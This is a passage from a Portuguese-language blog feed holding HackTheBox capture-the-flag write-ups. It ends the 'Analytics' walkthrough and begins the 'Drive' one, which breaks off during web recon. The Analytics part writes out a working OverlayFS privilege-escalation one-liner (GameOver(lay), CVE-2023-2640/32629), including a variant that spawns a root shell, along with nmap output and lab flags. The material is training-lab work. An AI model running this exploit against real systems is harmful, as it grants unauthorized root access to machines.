&lt;span class="n"&gt;drwx&lt;/span&gt;&lt;span class="c1"&gt;------ 2 metalytics metalytics 4.0K Aug  8 11:37 .cache&lt;/span&gt;
&lt;span class="n"&gt;drwxrwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;metalytics&lt;/span&gt; &lt;span class="n"&gt;metalytics&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;K&lt;/span&gt; &lt;span class="n"&gt;Aug&lt;/span&gt;  &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;local&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;--r-- 1 metalytics metalytics  807 Aug  3 08:53 .profile&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;----- 1 root       metalytics   33 Oct  7 23:35 user.txt&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;--r-- 1 metalytics metalytics   39 Aug  8 11:30 .vimrc&lt;/span&gt;
&lt;span class="n"&gt;metalytics&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;f09e034504ed254520c3060b18bbe89&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Escalação de privilégios e root flag
&lt;/h3&gt;

&lt;p&gt;Realizando um recon não foi encontrada nenhum arquivo com dados expostos, comandos que possam ser executados como root ou com suid ativo. No entanto, podemos notar que estamos em uma máquina Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64).&lt;/p&gt;

&lt;p&gt;Com essas infos podemos buscar por vulnerabilidades recentes, o que é bem comum serem utilizadas em novas máquinas do HackTheBox.&lt;/p&gt;

&lt;p&gt;Em uma busca foram encontradas duas vulnerabilidades: &lt;strong&gt;CVE-2023-2640 e CVE-2023-32629, aka GameOver(lay).&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Essas vulnerabilidades ocorrem no OverlayFS. OverlayFS é uma implementação de sistema de arquivos utilizado pelo linux. Ele combina vários pontos de montagem subjacentes diferentes em um, resultando em uma estrutura de diretório única que contém arquivos e subdiretórios subjacentes de todas as fontes.&lt;/p&gt;

&lt;p&gt;Ocorre que nas duas vulnerabilidades arquivos são movidos de um diretório inferior para um superior com seus atributos estendidos sem alterações, ou seja, é possível herdar capabilities e assim escalar privilégios. &lt;/p&gt;

&lt;p&gt;Capabilties como &lt;strong&gt;CAP_SYS_ADMIN&lt;/strong&gt; ou &lt;strong&gt;CAP_SETUID&lt;/strong&gt;, que garantem execuções privilegiadas são enviadas para o diretório, ou layer, superior. O que pode permitir usuários não privilegiados escalar privilégios.&lt;/p&gt;

&lt;p&gt;As duas vulnerabilidades ocorrem em uma função do kernel chamada &lt;strong&gt;ovl_do_setxattr&lt;/strong&gt;, que chama um wrapper vulnerável chamado &lt;strong&gt;__vfs_setxattr_noperm&lt;/strong&gt;, que por sua vez não restringe as capabilities para a namespace.&lt;/p&gt;

&lt;p&gt;Analisando as diversas postagens sobre as duas vulnerabilidades foi possível encontrar algumas Poc's inline, o que deixa a vulnerabilidade mais crítica.&lt;/p&gt;

&lt;p&gt;Para nosso caso utilizei o seguinte comando, que eleva as permissões do python, desta forma o mesmo é executado com permissões de root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;metalytics&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;unshare&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rm&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="nv"&gt;"mkdir l u w m &amp;amp;&amp;amp; cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &amp;amp;&amp;amp; touch m/*;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="s1"&gt;'import os;os.setuid(0);os.system("ls -alh /root/")'&lt;/span&gt;
&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="err"&gt;‘&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="err"&gt;’&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt;
&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="err"&gt;‘&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="err"&gt;’&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt;
&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="err"&gt;‘&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="err"&gt;’&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt;
&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="err"&gt;‘&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="err"&gt;’&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt;
&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="n"&gt;K&lt;/span&gt;
&lt;span class="n"&gt;drwx&lt;/span&gt;&lt;span class="c1"&gt;------  6 root root 4.0K Oct  7 23:35 .&lt;/span&gt;
&lt;span class="n"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;K&lt;/span&gt; &lt;span class="n"&gt;Aug&lt;/span&gt;  &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="p"&gt;..&lt;/span&gt;
&lt;span class="n"&gt;lrwxrwxrwx&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;    &lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="n"&gt;Apr&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bash_history&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;null&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;--r--  1 root root 3.1K Oct 15  2021 .bashrc&lt;/span&gt;
&lt;span class="n"&gt;drwx&lt;/span&gt;&lt;span class="c1"&gt;------  2 root root 4.0K Apr 27 16:09 .cache&lt;/span&gt;
&lt;span class="n"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;  &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;K&lt;/span&gt; &lt;span class="n"&gt;Apr&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;local&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;--r--  1 root root  161 Jul  9  2019 .profile&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;-----  1 root root   33 Oct  7 23:35 root.txt&lt;/span&gt;
&lt;span class="n"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;  &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;K&lt;/span&gt; &lt;span class="n"&gt;Aug&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scripts&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;--r--  1 root root   66 Aug 25 15:14 .selected_editor&lt;/span&gt;
&lt;span class="n"&gt;drwx&lt;/span&gt;&lt;span class="c1"&gt;------  2 root root 4.0K Apr 27 16:07 .ssh&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;--r--  1 root root   39 Aug  8 11:30 .vimrc&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;--r--  1 root root  165 Aug  8 11:53 .wget-hsts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim conseguimos buscar a root flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;metalytics&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;unshare&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rm&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="nv"&gt;"mkdir l u w m &amp;amp;&amp;amp; cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &amp;amp;&amp;amp; touch m/*;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="s1"&gt;'import os;os.setuid(0);os.system("cat /root/root.txt")'&lt;/span&gt;
&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="err"&gt;‘&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="err"&gt;’&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt;
&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="err"&gt;‘&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="err"&gt;’&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt;
&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="err"&gt;‘&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="err"&gt;’&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt;
&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="err"&gt;‘&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="err"&gt;’&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt;
&lt;span class="mi"&gt;9081&lt;/span&gt;&lt;span class="n"&gt;b3c76b813330cd43690360cd8ab8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No entanto, é possível pegar shell como root facilmente alterando o comando final:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;unshare&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rm&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="nv"&gt;"mkdir l u w m &amp;amp;&amp;amp; cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &amp;amp;&amp;amp; touch m/*;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="s1"&gt;'import os;os.setuid(0);pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim finalizamos a máquina Analytics :)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fewy09ius8tdljokujy0x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fewy09ius8tdljokujy0x.png" alt="Machine pwned!" width="800" height="695"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>sql</category>
      <category>security</category>
      <category>linux</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Drive [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Wed, 21 Feb 2024 23:42:57 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-drive-retired-2hmg</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-drive-retired-2hmg</guid>
      <description>&lt;h4&gt;
  
  
  HackTheBox
&lt;/h4&gt;

&lt;p&gt;Neste writeup iremos explorar uma máquina &lt;strong&gt;linux&lt;/strong&gt; de nível &lt;strong&gt;hard&lt;/strong&gt; chamada &lt;strong&gt;Drive&lt;/strong&gt; que aborda as seguintes vulnerabilidades e técnicas de exploração:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IDOR&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password Hardcoded&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hash Cracking&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQL Injection load lib&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Recon e user flag
&lt;/h3&gt;

&lt;p&gt;Vamos iniciar realizando uma varredura no host alvo para visualizar as portas abertas, para isso vamos utilizar o nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/drive]
└─# nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.81.217 
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2023-10-14 15:04 EDT
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.81.217
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.26s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 996 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;, 2 filtered tcp ports &lt;span class="o"&gt;(&lt;/span&gt;no-response&lt;span class="o"&gt;)&lt;/span&gt;
Some closed ports may be reported as filtered due to &lt;span class="nt"&gt;--defeat-rst-ratelimit&lt;/span&gt;
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp open  http    nginx 1.18.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Temos aqui um nginx rodando na porta 80 e a porta 22 do ssh.&lt;br&gt;
Ao acessar pelo navegador somos redirecionados para &lt;strong&gt;drive.htb&lt;/strong&gt;, vamos adicionar em nosso &lt;strong&gt;/etc/hosts&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Uma vez adicionado temos a seguinte página web:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjgho6mz73fkltqgqdxu9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjgho6mz73fkltqgqdxu9.png" alt="Doodle Drive" width="800" height="579"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Aqui temos um &lt;a href="https://github.com/Vennify-Inc/DoogleGrive" rel="noopener noreferrer"&gt;Doogle Grive&lt;/a&gt;, que é uma aplicação "clone" do Google Drive.&lt;br&gt;
Acessando &lt;a href="http://drive.htb/register" rel="noopener noreferrer"&gt;http://drive.htb/register&lt;/a&gt; temos uma tela para criação de usuário e em &lt;a href="http://drive.htb/login" rel="noopener noreferrer"&gt;http://drive.htb/login&lt;/a&gt; temos uma tela de login.&lt;/p&gt;

&lt;p&gt;Podemos criar um usuário e acessar a aplicação para uma melhor análise:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx546p0on2ir6r151h6kc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx546p0on2ir6r151h6kc.png" alt="Register" width="800" height="462"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;E com estes dados acessar a aplicação, que nos retorna a seguinte página:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuc17yxg24t6lk1beepop.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuc17yxg24t6lk1beepop.png" alt="Upload File" width="800" height="462"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Temos aqui duas novas opções, uma permitindo upload de arquivos:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyyy5eadvghnuitbwmqow.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyyy5eadvghnuitbwmqow.png" alt="Upload File Page" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;E outra para o Dashboard:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcahkfryazgmio75uiqtp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcahkfryazgmio75uiqtp.png" alt="Dashboard" width="800" height="181"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Podemos notar que ja existe um arquivo no dashboard que pertence ao usuário &lt;strong&gt;admin&lt;/strong&gt;, mas esta no grupo &lt;strong&gt;public&lt;/strong&gt;, sendo assim conseguimos visualizar seu conteúdo:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fien5m5l2bj7lcsmlp0bt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fien5m5l2bj7lcsmlp0bt.png" alt="Reading file" width="800" height="285"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Utilizando o Burp Suite como proxy conseguimos analisar todas as requisições e respostas que são realizadas durante a navegação pelo site. Através desta análise conseguimos notar que existe um ID para cada arquivo, que é utilizado em diversas requisições como ler o conteúdo do arquivo:&lt;/p&gt;

